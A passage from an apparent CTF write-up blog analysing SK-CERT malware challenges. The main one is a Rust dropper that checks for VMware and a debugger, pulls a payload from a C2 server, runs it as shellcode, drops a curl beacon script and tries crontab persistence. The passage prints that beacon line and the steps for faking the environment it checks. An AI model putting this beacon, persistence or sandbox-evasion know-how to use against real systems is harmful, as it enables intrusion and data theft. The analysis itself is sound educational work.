emulation.</p><h4>Step 3 — Static inspection of the binary:</h4><p>Before running the binary, I extracted strings and imports to understand what it does:</p><pre>strings -a ~/Downloads/Shifted_payload/less | grep -iE &#39;vmware|hgfs|proc|mount|fstab|dmi|lspci|lsmod|systemctl|evil|payload|cert|curl|http|7060|7050|exp\.&#39;</pre><h4>3.1 — Important strings recovered:</h4><p>These were the most significant findings, grouped by category:</p><h4>Network / C2 strings:</h4><pre>| String | Meaning |<br>|---|---|<br>| `exp.cybergame.sk:7060` | First-stage socket (TCP handshake server) |<br>| `http` / `https` | HTTP client – used to fetch payload |<br>| Hyper/Reqwest crate strings | Confirms Rust HTTP client library |</pre><h4>Anti-analysis / environment strings:</h4><pre>| String | Meaning |<br>|---|---|<br>| `/proc/self/status` | Anti-debug check (reads `TracerPid`) |<br>| `/proc/mounts` | Checks for VMware HGFS mount |<br>| `/etc/fstab` | Checks for HGFS fstab entry |<br>| `/sys/class/dmi/id/` | DMI vendor/product checks |<br>| `sys_vendor` | Checks if vendor is &quot;VMware, Inc.&quot; |<br>| `product_name` | Checks if product is &quot;VMware Virtual Platform&quot; |<br>| `product_version` | DMI product version |<br>| `bios_vendor` | DMI BIOS vendor |</pre><h4>Helper commands invoked:</h4><pre><br>| String | What the binary runs |<br>|---|---|<br>| `lspci` | Checks for VMware PCI devices |<br>| `ps aux` | Looks for VMware services (vmtoolsd etc.) |<br>| `systemctl list-units --type=service` | Checks for VMware services |<br>| `lsmod` | Looks for vmhgfs, vmw\_vsock modules |<br>| `vmware-hgfsclient` | Asks for shared folder names |<br>| `ss -xa` | Checks UNIX domain sockets |</pre><h4>VMware / HGFS markers:</h4><pre>| String | Meaning |<br>|---|---|<br>| `vmhgfs` | VMware Host-Guest File System driver |<br>| `.host:/` | HGFS mount source format |<br>| `vmware` | Direct VMware reference |<br>| `/dev/vmci` | VMware VMCI device check |<br>| `vsock`, `vmw_vsock` | VMware vSocket modules |</pre><h4>Imported crypto/runtime functionality:</h4><p>From the imports and Rust crate references, the binary uses:</p><pre>- **Network sockets** — `socket`, `connect`, `send`, `recv`, `getaddrinfo`<br>- **DNS resolution** — via glibc NSS<br>- **HTTP client** — Hyper + Reqwest crates<br>- **TLS** — Rustls with webpki certificate verification<br>- **Process spawning** — `posix_spawnp`, `execvp`, `fork`<br>- **Memory mapping** — `mmap`, `mprotect` (with `PROT_EXEC`)<br>- **Crypto** — `ring` crate (SHA256, SHA384, SHA512, AES-GCM, ECDSA, Ed25519, RSA)</pre><h4>3.2 — Conclusion from static analysis:</h4><p>The binary is a <strong>multi-stage dropper</strong> that:</p><p>1. Performs extensive <strong>VM detection</strong> (VMware specifically)</p><p>2. Checks for <strong>debugger attachment</strong> (TracerPid)</p><p>3. Connects to a <strong>C2 server</strong> at `exp.cybergame.sk:7060`</p><p>4. Fetches a <strong>payload</strong> via HTTP</p><p>5. <strong>Transforms and executes</strong> the payload in memory</p><p>6. Drops a final <strong>script </strong>(`evil.sh`)</p><p>This confirmed: <strong>running the binary in the right environment Aka Using a dynamic solve </strong>would be more productive than manual static reversing, Due to high obsfucation and other explained restrictions that limit static analysis and make it slow and difficult.</p><h3>Step 4 — Identify the environment gates:</h3><p>The binary has <strong>six categories</strong> of environment checks:</p><h4>4.1 — Anti-debug gate:</h4><pre>openat(AT_FDCWD, &quot;/proc/self/status&quot;, O_RDONLY|O_CLOEXEC) = 4<br>read(4, ..., 32) → reads in chunks, looking for TracerPid</pre><p>The binary reads `/proc/self/status` and parses the `TracerPid` field. If `TracerPid` ≠ 0, it knows a debugger is attached and will refuse to continue.</p><h4>4.2 — DMI vendor gate:</h4><pre>openat(AT_FDCWD, &quot;/sys/class/dmi/id/sys_vendor&quot;, O_RDONLY|O_CLOEXEC) = 4<br>read(4, ..., 13)  → expects &quot;VMware, Inc.\n&quot;</pre><p>The binary reads DMI sysfs entries to verify it’s running on VMware hardware.</p><h4>4.3 — Command execution gates:</h4><p>The binary spawns five helper commands and parses their output:</p><pre>| Command | What it looks for |<br>|---|---|<br>| `lspci` | VMware PCI devices (SVGA II Adapter, VMXNET3, etc.) |<br>| `ps aux` | VMware services (vmtoolsd, VGAuthService) |<br>| `systemctl list-units --type=service` | vmtoolsd.service, vmware-vmblock-fuse.service |<br>| `lsmod` | vmhgfs, vmw\_vsock, vmw\_balloon modules |<br>| `vmware-hgfsclient` | Shared folder names (expects &quot;shared&quot;) |<br>| `ss -xa` | UNIX domain sockets (system `ss` binary is fine here) |</pre><h4>4.4 — Filesystem gates:</h4><pre>openat(AT_FDCWD, &quot;/proc/mounts&quot;, O_RDONLY|O_CLOEXEC) = 4<br>openat(AT_FDCWD, &quot;/etc/fstab&quot;, O_RDONLY|O_CLOEXEC) = 4</pre><p>Both files must contain VMware HGFS mount entries (e.g., `vmhgfs-fuse`, `.host:/shared`).</p><h3>Step 5 — Create a fake VMware/HGFS environment:</h3><p>To satisfy every check, I created a fake root tree under `/tmp/fakeroot`:</p><h4>5.1 — Fake `/proc/self/status`:</h4><pre>/tmp/fakeroot/proc/self/status</pre><h4>Content:</h4><pre>Name:   less<br>Umask:  0022<br>State:  R (running)<br>Tgid:   1234<br>Pid:    1234<br>PPid:   1<br>TracerPid:  0<br>Uid:    0  0  0  0<br>Gid:    0  0  0  0</pre><p>The critical field is <strong>`TracerPid: 0` </strong>— telling the binary no debugger is attached.</p><h4>5.2 — Fake `/proc/mounts`:</h4><pre>/tmp/fakeroot/proc/mounts_dir/mounts</pre><h4>Content:</h4><pre>sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0<br>proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0<br>/dev/sda1 / ext4 rw,relatime,errors=remount-ro 0 0<br>vmhgfs-fuse /mnt/hgfs fuse.vmhgfs-fuse rw,nosuid,nodev,allow_other,default_permissions 0 0<br>.host:/shared /mnt/hgfs/shared fuse.vmhgfs-fuse rw,nosuid,nodev 0 0</pre><p>The key entries are the `vmhgfs-fuse` and `.host:/shared` lines.</p><h4>5.3 — Fake `/etc/fstab`:</h4><pre>/tmp/fakeroot/etc/fstab</pre><h4>Content:</h4><pre>UUID=xxxx-xxxx / ext4 defaults 0 1<br>.host:/shared /mnt/hgfs/shared fuse.vmhgfs-fuse allow_other,auto_unmount,defaults 0 0</pre><h4>5.4 — Fake DMI sysfs entries:</h4><pre>| File | Content |<br>|---|---|<br>| `/tmp/fakeroot/sys/class/dmi/id/sys_vendor` | `VMware, Inc.` |<br>| `/tmp/fakeroot/sys/class/dmi/id/product_name` | `VMware Virtual Platform` |<br>| `/tmp/fakeroot/sys/class/dmi/id/product_version` | `None` |<br>| `/tmp/fakeroot/sys/class/dmi/id/bios_vendor` | `Phoenix Technologies LTD` |</pre><h4>5.5 — Fake helper commands:</h4><p>Each is a shell script placed in `/tmp/fakeroot/bin/`:</p><p><strong>**`lspci`**</strong> — returns VMware PCI device lines:</p><pre>#!/bin/bash<br>echo &quot;00:0f.0 VGA compatible controller: VMware SVGA II Adapter&quot;<br>echo &quot;02:03.0 Ethernet controller: VMware VMXNET3 Ethernet Controller (rev 01)&quot;<br># ... (full list of VMware PCI devices)</pre><p><strong>**`lsmod`**</strong> — returns VMware kernel modules:</p><pre>#!/bin/bash<br>echo &quot;Module                  Size  Used by&quot;<br>echo &quot;vmw_vsock_vmci_transport    32768  2&quot;<br>echo &quot;vmhgfs                 90112  1&quot;<br>echo &quot;vmw_balloon            20480  0&quot;<br># ...</pre><p><strong>**`systemctl`**</strong> — returns VMware service units:</p><pre>#!/bin/bash<br>echo &quot;  vmtoolsd.service     loaded active running VMware Tools Agent&quot;<br>echo &quot;  vgauthd.service      loaded active running VGAuth Service for VMware&quot;</pre><p><strong>**`ps`**</strong> — returns process list with VMware daemons:</p><pre>#!/bin/bash<br>echo &quot;USER  PID %CPU %MEM  VSZ   RSS TTY STAT START TIME COMMAND&quot;<br>echo &quot;root  345  0.0  0.1  91108  8940 ?  S    10:00 0:00 /usr/bin/vmtoolsd&quot;<br>echo &quot;root  456  0.0  0.0  58236  4560 ?  S    10:00 0:00 /usr/bin/vmware-vmblock-fuse ...&quot;<br># ...</pre><p><strong>**`vmware-hgfsclient`**</strong> — returns shared folder names:</p><pre>#!/bin/bash<br>echo &quot;shared&quot;</pre><h4>5.6 — Why faking instead of patching:</h4><p>This approach has two critical advantages:</p><p>1. <strong>**Preserves the original binary**</strong> — no risk of breaking internal checksums or anti-tamper</p><p>2. <strong>**Lets the program walk its intended code path naturally**</strong> — which is essential for multi-stage execution</p><h3>Step 6 — Isolate the execution with `unshare`:</h3><p>The binary expects the fake files at their <strong>**real**</strong> system paths. Instead of overwriting system files, I used a <strong>**private mount namespace**</strong>:</p><pre>unshare --user --map-root-user --mount bash -c &#39;<br>    # Bind mount fake files over live paths<br>    mount --bind /tmp/fakeroot/proc/self/status /proc/self/status<br>    mount --bind /tmp/fakeroot/proc/mounts_dir/mounts /proc/mounts<br>    mount --bind /tmp/fakeroot/etc/fstab /etc/fstab<br>    <br>    # DMI bind mounts<br>    for f in sys_vendor product_name product_version bios_vendor; do<br>        mount --bind /tmp/fakeroot/sys/class/dmi/id/$f /sys/class/dmi/id/$f<br>    done<br>    <br>    # Set PATH so fake commands are found first<br>    export PATH=/tmp/fakeroot/bin:$PATH<br>    <br>    # Launch the binary under QEMU<br>    qemu-aarch64-static -L /usr/aarch64-linux-gnu \<br>        -d strace -D /tmp/qemu_strace.log \<br>        ~/Downloads/Shifted_payload/less<br>&#39;</pre><p>This gives:</p><p>- <strong>**Controlled environment deception**</strong> — the binary sees VMware at every check</p><p>- <strong>**No permanent system changes**</strong> — everything is inside a mount namespace</p><p>- <strong>**Repeatability**</strong> — can rerun the challenge as many times as needed</p><h3>Step 7 — First run under QEMU with syscall tracing:</h3><p>The binary was launched using:</p><pre>qemu-aarch64-static -L /usr/aarch64-linux-gnu \<br>    -d strace -D /tmp/qemu_strace.log \<br>    ~/Downloads/Shifted_payload/less</pre><h4>What `-d strace` provides:</h4><p>QEMU’s built-in strace logging captures <strong>**every syscall**</strong> the emulated process makes — far more useful for a stripped Rust binary than trying to read decompiled code.</p><p>The strace log (929 lines) revealed the complete execution flow.</p><h3>Step 8 — Observed execution flow (from strace):</h3><p>The binary’s syscall sequence breaks into <strong>**six distinct phases**</strong>:</p><h4>Phase 1 — Dynamic linker startup (lines 1–43):</h4><p>Standard ELF loading: opens `ld.so.cache`, maps `libgcc_s.so.1` and `libc.so.6`, sets up TLS, reads `/proc/self/maps`.</p><h4>Phase 2 — Anti-debug check (lines 59–69):</h4><pre>openat(AT_FDCWD, &quot;/proc/self/status&quot;, O_RDONLY|O_CLOEXEC) = 4<br>statx(4, &quot;&quot;, AT_EMPTY_PATH, STATX_ALL, ...)<br>read(4, ..., 32) = 32       ← reads in small chunks<br>read(4, ..., 32) = 32       ← reads Name, Umask, State...<br>read(4, ..., 64) = 64<br>read(4, ..., 128) = 128     ← reads TracerPid line<br>read(4, ..., 256) = 256<br>read(4, ..., 512) = 512<br>read(4, ..., 1024) = 488<br>close(4) = 0                ← accepted: TracerPid was 0</pre><p>The binary reads `/proc/self/status` in progressively larger chunks (doubling buffer size pattern — classic Rust `BufRead`). It parses `TracerPid: 0` and continues.</p><h4>Phase 3 — VMware environment verification (lines 70–722):</h4><p>This is the longest phase. The strace shows the exact execution order:</p><pre>| Strace line | Action | Result |<br>|---|---|---|<br>| 70 | Opens `/sys/class/dmi/id/sys_vendor` | Reads 13 bytes (&quot;VMware, Inc.\n&quot;) → True|<br>| 161 | Spawns `lspci` | Executes `/tmp/fakeroot/bin/lspci` → True|<br>| 264 | Spawns `ps aux` | Executes `/tmp/fakeroot/bin/ps` → True|<br>| 365 | Spawns `systemctl list-units --type=service` | Executes `/tmp/fakeroot/bin/systemctl` → True |<br>| 465 | Spawns `lsmod` | Executes `/tmp/fakeroot/bin/lsmod` → True|<br>| 566–570 | Spawns `ss -xa` | Searches PATH, finds `/usr/bin/ss` → True|<br>| 613 | Opens `/proc/mounts` | Reads vmhgfs-fuse entries → True|<br>| 712 | Spawns `vmware-hgfsclient` | Executes `/tmp/fakeroot/bin/vmware-hgfsclient` → True |<br>| 722 | Opens `/etc/fstab` | Reads .host:/shared entry → True|</pre><p>All checks passed. The binary proceeds to networking.</p><h4>Phase 4 — DNS resolution and first-stage socket (lines 727–805):</h4><pre>socket(PF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4<br>connect(4, ..., 110) = -1 errno=2       ← tries systemd-resolved (not found)<br>socket(PF_INET, SOCK_DGRAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4<br>connect(4, ...)                           ← UDP DNS query for exp.cybergame.sk<br>sendmmsg(4, ..., 2, ...)                  ← sends DNS query<br>recvfrom(4, ...) = 50                     ← receives A record<br>recvfrom(4, ...) = 34                     ← receives AAAA record<br>close(4)</pre><p>After DNS resolution:</p><pre>socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC, 0) = 4<br>connect(4, ..., 16) = 0                  ← TCP connect to exp.cybergame.sk:7060<br>recvfrom(4, ..., 32, 0, NULL, NULL) = 31  ← receives 31 bytes (the stage token)<br>recvfrom(4, ..., 32, 0, NULL, NULL) = 0   ← server closed connection<br>close(4)</pre><p>The first-stage protocol is:</p><p>1. Binary connects to<strong><em> `exp.cybergame.sk:7060`</em></strong></p><p>2. Server sends <strong>exactly 31 raw ASCII bytes</strong> (no newline, no framing)</p><p>3. Server <strong>closes the connection immediately</strong></p><h4>Phase 5 — Payload fetch via HTTPS (lines 806–920):</h4><p>After receiving the stage token, the binary:</p><pre>write(1, ..., 61)    ← prints 60-char hex string to stdout (hash/token)<br>write(1, ..., 36)    ← prints payload URL to stdout</pre><p>Then it spawns a Tokio async runtime thread and makes an HTTPS connection:</p><pre>clone(CLONE_VM|CLONE_FS|...) = 178670    ← spawns async runtime thread<br>socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 7<br>connect(7, ..., 16) = -1 errno=115       ← async connect (EINPROGRESS)</pre><p>The async thread performs a TLS handshake and fetches the payload. From earlier analysis, the payload URL pattern is:</p><pre>http://&lt;ip&gt;:7050/payload</pre><p>The payload is <strong>864 bytes </strong>of high-entropy data (entropy: 7.76 bits/byte).</p><p>After receiving the payload, the binary prints the <strong>transformed hex blob</strong> to stdout:</p><pre>write(1, ..., 1024)  ← first chunk of hex output<br>write(1, ..., 705)   ← second chunk (total: 1729 chars = 864 bytes in hex + 1)</pre><h4>Phase 6 — Shellcode execution and file drop (lines 921–929):</h4><p>This is the <strong>most critical </strong>sequence:</p><pre>mmap(NULL, 864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f8507a03000<br>mprotect(0x7f8507a03000, 864, PROT_EXEC|PROT_READ) = 0<br>openat(AT_FDCWD, &quot;/tmp/evil.sh&quot;, O_WRONLY|O_CREAT|O_TRUNC, 0755) = 4<br>write(4, ..., 95) = 95<br>close(4) = 0<br>openat(AT_FDCWD, &quot;/mnt/hgfs/shared/../../../etc/crontab&quot;, O_WRONLY|O_APPEND) = -1 errno=2<br>exit(-9)</pre><p>What happened:</p><pre>1. `mmap` - allocates 864 bytes of anonymous memory<br>2. `mprotect(PROT_EXEC|PROT_READ)` - makes it executable → this is shellcode!<br>3. The binary builds AArch64 shellcode from the payload and executes it<br>4. The shellcode opens `/tmp/evil.sh` with mode `0755`<br>5. Writes 95 bytes of script content<br>6. Closes the file<br>7. Attempts to append to `/mnt/hgfs/shared/../../../etc/crontab` (persistence attempt, fails)<br>8. Exits</pre><h3>Step 9 — Analysis of the stage token:</h3><p>I probed the first-stage server directly:</p><pre>import socket<br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.settimeout(5)<br>s.connect((&#39;exp.cybergame.sk&#39;, 7060))<br>data = b&#39;&#39;<br>while True:<br>    chunk = s.recv(1024)<br>    if not chunk:<br>        break<br>    data += chunk<br>s.close()</pre><p><strong>Results across multiple connections:</strong></p><pre>| Connection | Token (31 bytes) |<br>|---|---|<br>| #1 | `ajvMF4kdZhtsZ287EZex9bAW6eCAOqF` |<br>| #2 | `au7Fg8cdLMnoqplhTdveiFFUEtYtt0d` |<br>| #3 | `ad7pAFUEat8sKEwWDzzFgSDwavh33Qe` |<br>| #4 | `aar2k2115UD2U6lGgnUF0SdGa5fS8SA` |</pre><p>Key observations:</p><ul><li>Exactly <strong>31 bytes</strong> each time</li><li>All printable <strong>ASCII</strong> characters (alphanumeric)</li><li><strong>No newline</strong> at the end</li><li><strong>Different each time </strong>(rotational or randomized)</li><li>All start with `a` (possibly significant)</li><li>Server closes immediately after sending</li></ul><h4>Early dead end: treating tokens as stage names:</h4><p>I initially explored whether the tokens directly mapped to paths like `/payload`, `/animal`, `/stage3`, `/evil.sh`. This did <strong>not</strong> hold up — the tokens are part of the runtime handshake, not literal URLs.</p><h3>Step 10 — Analysis of the payload:</h3><p>The payload was fetched directly:</p><pre>curl -s &#39;http://exp.cybergame.sk:7050/payload&#39; -o /tmp/payload.bin</pre><pre>| Property | Value |<br>|---|---|<br>| Size | 864 bytes |<br>| SHA256 | `10cd0df1ba47931d77d404856dd152a2ef3bb7d6144af7712d04b6bb1065ccc4` |<br>| Entropy | 7.76 bits/byte (near-maximum → encrypted or compressed) |<br>| First bytes | `c7 82 89 5b 5e c8 bd d8 b7 1e 40 17 b5 e2 df a5` |<br>| ELF header? | No `\x7fELF` magic |<br>| Script header? | No `#!` marker |</pre><p>All three known payload mirrors serve <strong>identical data</strong>:</p><pre>| URL | Size | SHA256 match |<br>|---|---|---|<br>| `http://exp.cybergame.sk:7050/payload` | 864 | True/Match|<br>| `http://87.106.27.12:7050/payload` | 864 | True/Match|<br>| `http://195.168.112.4:7050/payload` | 864 | True/Match|</pre><h4>Payload vs. transformed output comparison:</h4><p>The binary printed a 1728-character hex string (864 bytes decoded) to stdout. This was <strong>not</strong> identical to the raw fetched payload — confirming the binary performs an internal transformation.</p><p>The transformation converts the raw payload into <strong>valid AArch64 machine code</strong> (shellcode), which the binary then maps with `PROT_EXEC` and executes.</p><h4>Step 11 — The shellcode (AArch64 machine code):</h4><p>The hex blob output by the binary is 864 bytes of AArch64 shellcode. Decoding its structure:</p><pre>ff4300d1  →  SUB SP, SP, #0x10        (stack frame setup)<br>aacd86d2  →  MOVZ X10, #0x366E, LSL#16<br>ea45a6f2  →  MOVK X10, #0x322F, LSL#32<br>...</pre><p>The shellcode (when executed by the binary via `mprotect(PROT_EXEC)`) performs these operations:</p><pre>1. Sets up a stack frame<br>2. Loads the string `#!/bin/bash\ncurl -s &#39;http://exp.cybergame.sk/gate?f=SK-CERT{ru57_3x3cu70r_0f_5h1f73d_p4yl04d}&#39;\n` using a sequence of `MOVZ`/`MOVK` instructions (building the string in registers 8 bytes at a time)<br>3. Uses Linux syscalls:<br>   - `openat` (syscall 56) → opens `/tmp/evil.sh` with `O_WRONLY|O_CREAT|O_TRUNC`, mode `0755`<br>   - `write` (syscall 64) → writes the 95-byte script content<br>   - `close` (syscall 57)<br>   - `openat` → tries to open `/mnt/hgfs/shared/../../../etc/crontab` for append (persistence)<br>   - `write` → tries to write a crontab entry (fails because the path doesn&#39;t exist)<br>   - `exit` (syscall 93)</pre><p>This is a classic <strong>staged dropper</strong> pattern: the first stage fetches and transforms a payload, and the payload itself is position-independent shellcode that drops the final artifact.</p><h3>Step 12 — Recover `evil.sh`:</h3><p>After the binary completed, the file existed on disk:</p><pre>$ cat /tmp/evil.sh</pre><h4>Content(95 Bytes):</h4><pre>#!/bin/bash<br>curl -s &#39;http://exp.cybergame.sk/gate?f=SK-CERT{ru57_3x3cu70r_0f_5h1f73d_p4yl04d}&#39;</pre><p>The flag is embedded <strong>inline</strong> as the `f=` query parameter.</p><h3>How `evil.sh` was obtained:</h3><p>This is the key point and deserves to be explicit:</p><p>I did <strong>**NOT**</strong> recover `evil.sh` by:</p><pre>- Guessing its contents<br>- Deriving the flag from the hex output<br>- Manually rebuilding the script from payload bytes<br>- Patching the binary</pre><p>I recovered `evil.sh` by <strong>letting the original binary create it</strong>, following its intended execution path:</p><pre>1. Made the binary pass its VMware/HGFS checks (faked environment)<br>2. Ran it under AArch64 emulation (QEMU user-mode)<br>3. Let it connect to the live C2 server (`exp.cybergame.sk:7060`)<br>4. Let it fetch `/payload` from the HTTP server<br>5. Let it transform the payload into shellcode<br>6. Let the shellcode execute and drop `/tmp/evil.sh`<br>7. Read the file from disk</pre><h3>Step 13 — What the binary did after dropping `evil.sh`:</h3><p>After writing `evil.sh`, the binary attempted a <strong>persistence action</strong>:</p><pre>openat(AT_FDCWD, &quot;/mnt/hgfs/shared/../../../etc/crontab&quot;, O_WRONLY|O_APPEND) = -1 errno=2</pre><p>The path `/mnt/hgfs/shared/../../../etc/crontab` resolves to `/etc/crontab`. The binary tried to append a crontab entry that would re-run `evil.sh` periodically. This failed because our fake `/mnt/hgfs/shared` directory existed but the path traversal `../../../etc/crontab` didn’t point to a writable file.</p><p>This tells us the binary simulates <strong>real malware behavior</strong>: drop a script → plant persistence via crontab → beacon out with the stolen flag.</p><h3>A simple summary and minimal reproduction method:</h3><p>In Conclusion the challenge logic is as follows:</p><pre>Binary starts<br>    ↓<br>Anti-debug check (TracerPid == 0?) ──── YES ──→ Continue<br>    ↓<br>VMware DMI check (sys_vendor?) ──── VMware, Inc. ──→ Continue<br>    ↓<br>Helper command checks (lspci, ps, systemctl, lsmod) ──── VMware present ──→ Continue<br>    ↓<br>HGFS check (vmware-hgfsclient, /proc/mounts, /etc/fstab) ──── shared folders present ──→ Continue<br>    ↓<br>Connect to exp.cybergame.sk:7060 ──── Receives 31-byte token ──→ Continue<br>    ↓<br>Fetch http://&lt;ip&gt;:7050/payload ──── Gets 864-byte blob ──→ Continue<br>    ↓<br>Transform payload → AArch64 shellcode<br>    ↓<br>mmap + mprotect(PROT_EXEC) → Execute shellcode<br>    ↓<br>Shellcode writes /tmp/evil.sh (95 bytes)<br>    ↓<br>Shellcode attempts /etc/crontab persistence (fails gracefully)<br>    ↓<br>FLAG: SK-CERT{ru57_3x3cu70r_0f_5h1f73d_p4yl04d}</pre><h4>Minimal reproduction summary:</h4><p>A minimal reliable reproduction path:</p><pre># 1. Install QEMU user emulation and AArch64 runtime<br>sudo pacman -S qemu-user-static qemu-user-static-binfmt \<br>               aarch64-linux-gnu-glibc aarch64-linux-gnu-gcc<br><br># 2. Create fake VMware environment tree<br>mkdir -p /tmp/fakeroot/{proc/self,proc/mounts_dir,etc,sys/class/dmi/id,bin}<br>echo -e &quot;...\nTracerPid:\t0\n...&quot; &gt; /tmp/fakeroot/proc/self/status<br>echo &quot;vmhgfs-fuse /mnt/hgfs fuse.vmhgfs-fuse rw 0 0&quot; &gt; /tmp/fakeroot/proc/mounts_dir/mounts<br>echo &quot;.host:/shared /mnt/hgfs/shared fuse.vmhgfs-fuse ... 0 0&quot; &gt;&gt; /tmp/fakeroot/proc/mounts_dir/mounts<br>echo &quot;.host:/shared /mnt/hgfs/shared fuse.vmhgfs-fuse ... 0 0&quot; &gt; /tmp/fakeroot/etc/fstab<br>echo &quot;VMware, Inc.&quot; &gt; /tmp/fakeroot/sys/class/dmi/id/sys_vendor<br>echo &quot;VMware Virtual Platform&quot; &gt; /tmp/fakeroot/sys/class/dmi/id/product_name<br>echo &quot;None&quot; &gt; /tmp/fakeroot/sys/class/dmi/id/product_version<br>echo &quot;Phoenix Technologies LTD&quot; &gt; /tmp/fakeroot/sys/class/dmi/id/bios_vendor<br># Create fake helper commands (lspci, ps, systemctl, lsmod, vmware-hgfsclient)<br># Each returns VMware-appropriate output<br><br># 3. Run in mount namespace with bind mounts<br>unshare --user --map-root-user --mount bash -c &#39;<br>    mount --bind /tmp/fakeroot/proc/self/status /proc/self/status<br>    mount --bind /tmp/fakeroot/proc/mounts_dir/mounts /proc/mounts<br>    mount --bind /tmp/fakeroot/etc/fstab /etc/fstab<br>    for f in sys_vendor product_name product_version bios_vendor; do<br>        mount --bind /tmp/fakeroot/sys/class/dmi/id/$f /sys/class/dmi/id/$f<br>    done<br>    export PATH=/tmp/fakeroot/bin:$PATH<br>    <br>    qemu-aarch64-static -L /usr/aarch64-linux-gnu \<br>        -d strace -D /tmp/qemu_strace.log \<br>        ~/Downloads/Shifted_payload/less<br>&#39;<br><br># 4. Read the dropped file<br>cat /tmp/evil.sh</pre><h4>Recovered artifacts:</h4><pre>| Artifact | Path / URL | Size |<br>|---|---|---|<br>| Challenge binary | `~/Downloads/Shifted_payload/less` | 3,283,072 bytes |<br>| First-stage socket | `exp.cybergame.sk:7060` | 31 bytes per connection |<br>| Payload | `http://exp.cybergame.sk:7050/payload` | 864 bytes |<br>| Shellcode (transformed payload) | in-memory only | 864 bytes |<br>| Dropped script | `/tmp/evil.sh` | 95 bytes |</pre><p>Overall this is my Favorite Malware challenge from this CTF, Had alot of fun solving this because its really realistic.</p><h3>23: Malware Analysis — Lock Screen:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*Zdu82KhE-IPpu09QnD_JUg.png" /><figcaption>Chall desc</figcaption></figure><p>This writeup was made and provided by <a href="https://medium.com/u/d58fe95eeb09">Malekith</a>, on discord: mal3k1th</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ltwkt2j5kJhyrMEK6-nwCA.png" /><figcaption>credits</figcaption></figure><p>First We download the apk and extract it</p><pre>❯ apktool d -f droid.apk -o droid_apktool<br>I: Using Apktool 2.7.0-dirty on droid.apk<br>I: Loading resource table...<br>I: Decoding AndroidManifest.xml with resources...<br>I: Loading resource table from file: /home/malekith/.local/share/apktool/framework/1.apk<br>I: Regular manifest package...<br>I: Decoding file-resources...<br>I: Decoding values */* XMLs...<br>I: Baksmaling classes.dex...<br>I: Copying assets and libs...<br>I: Copying unknown files...<br>I: Copying original files...</pre><p>in the NetworkClient.smali file we find a URL</p><pre>smali/com/ejadx -d jadx_out droid.apkxample/safedroidlockctf/NetworkClient.smali:    const-string v0, &quot;http://exp.cybergame.sk:7090/init?h=&quot;</pre><p>and we go to the java using jadx</p><p><strong>RecoveryManager:<br></strong>The app:</p><pre>1. generates a `deviceIdentifier`,<br><br>2. sends it to the backend,<br><br>3. receives a hex value,<br><br>4. derives a key with XOR.</pre><pre>RecoveryManager.bootEncryptionKey = RecoveryManager.INSTANCE.deriveKeyFromHex(    RecoveryManager.deviceIdentifier,    strFetchSessionToken);</pre><p>The derivation is:</p><pre>bArr[i] = (byte) (idHex[i] ^ tokenHex[i]);</pre><p>When pressing the button, the app does:</p><pre>input ^ serverKey ^ deviceIdentifier</pre><p>and uses that as the key to try to decrypt `personal_secrets.enc`. That suggests the local part is noise or a distraction. The interesting value is in the backend response.</p><p>First test with a normal `User-Agent`:</p><pre>❯ curl -sS &#39;http://exp.cybergame.sk:7090/init?h=0000000000000000000000000000000000000000000000000000000000000000&#39; | xxd -p -r<br>You are not a robot :DYou are no%   </pre><p>If we change the UA:</p><pre>❯ curl -i -sS \<br>  -A &#39;Dalvik/2.1.0 (Linux; U; Android 14; sdk_gphone64_x86_64 Build/UPB5.230623.003)&#39; \<br>  &#39;http://exp.cybergame.sk:7090/init?h=0000000000000000000000000000000000000000000000000000000000000000&#39; | xxd -p -r<br>�SK-CERT{4ndr01d_r4n50mw4r3_w1th_% </pre><p>Looks good!</p><pre>❯ curl -sS \<br>  -A &#39;Dalvik/2.1.0 (Linux; U; Android 14; sdk_gphone64_x86_64 Build/UPB5.230623.003)&#39; \<br>  &#39;http://exp.cybergame.sk:7090/init?h=00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#39; | xxd -p -r<br>SK-CERT{4ndr01d_r4n50mw4r3_w1th_s4f3_ch3ck}SK-CERT{4ndr01d_r4n50%     </pre><h3>24: Malware Analysis — Real World — A real world ransomware case:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*FTljA6uqdo82x4XI-WtUhg.png" /><figcaption>Chall desc</figcaption></figure><p>This challenge is based on a real-world ransomware incident handled by the Slovak National Cyber Security Centre (SK-CERT).</p><p>The target company fell victim to a ransomware attack that encrypted files on Windows hosts and a virtualization platform. In an attempt to recover, the victim paid the ransom and received a decryptor binary (`decoder`). However, while the decryptor successfully restored a few files, many critical files (including virtual machine disks and other large files) remained unreadable even after running the decryptor.</p><p>Our goal is to analyze the provided files:</p><pre>* `README.txt` (the ransom note)<br>* `decoder` (the VMware decryptor binary)<br>* `most_important_company_data.pdf.attacker` (the twice-encrypted PDF document)</pre><p>By understanding how the ransomware and decryptor behave, we must recover the original data.</p><h3>1. Technical Analysis &amp; Vulnerability Identification:</h3><h4>Root Cause of Decryptor Failure: Double Encryption (Race Condition):</h4><p>During the incident, the ransomware was executed in a multi-threaded manner or executed multiple times concurrently on the target system. Because there was no file-locking mechanism to prevent multiple threads/processes from opening the same file, a race condition occurred:</p><pre>1. Thread 1 and Thread 2 both opened the target file simultaneously.<br>2. Both threads queried the filesystem for the file size and received the original size $S$.<br>3. Both threads proceeded to encrypt the file contents (or portions of it) in parallel:<br>   * Thread 1 completed encryption, appended its footer (`Footer 1`, size `0x418` / 1048 bytes), and closed the file.<br>   * Thread 2 completed encryption, appended its footer (`Footer 2`, size `0x418` / 1048 bytes), and closed the file.<br>4. Because both threads queried the size before either had appended their footer, both footers recorded the exact same original size $S$.<br>5. The final encrypted file layout was:<br>   $$\text{[Doubly Encrypted Payload (Size } S\text{)]} \mathbin{\Vert} \text{[Footer 1 (1048 bytes)]} \mathbin{\Vert} \text{[Footer 2 (1048 bytes)]}$$</pre><p>When the official decryptor (`decoder`) was run on the 